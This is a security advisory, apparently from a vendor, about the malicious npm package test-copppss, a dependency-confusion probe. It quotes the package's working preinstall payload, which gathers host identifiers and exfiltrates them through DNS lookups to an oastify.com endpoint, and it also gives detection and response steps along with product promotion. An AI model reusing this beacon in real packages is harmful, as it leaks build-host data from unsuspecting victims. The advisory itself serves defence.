test-copppssnpm
test-copppss is a confirmed malicious npm package (MAL-2026-5926) that steals credentials and exfiltrates sensitive data (malicious version 1.999.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in test-copppss (npm)
What this malware does
On npm install, the package's preinstall hook (node index.js > /dev/null 2>&1) runs a shell pipeline that collects host identifiers — hostname, pwd, whoami, the package name test-copppss, and the machine's public IP via curl https://ifconfig.me — hex-encodes the concatenation with xxd -p, and exfiltrates it as DNS subdomain lookups to *.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com (a Burp Collaborator OAST endpoint controlled by the operator). Code at index.js:2 is exec("a=$(hostname;pwd;whoami;echo 'test-copppss';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com;done"). The package metadata (empty description, near-max version 1.999.0 to win semver resolution, single trivial dependency, preinstall beacon) matches the canonical dependency-confusion / namespace-claim reconnaissance shape — the attacker is probing which internal build systems resolve test-copppss to this public name and is harvesting the host fingerprint of any environment that does.

Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for test-copppss (version 1.999.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging test-copppss across your stack and pipelines.
If you installed it — respond
test-copppss is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If test-copppss was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks test-copppss before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Detect & block this
O3 blocks test-copppss-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.
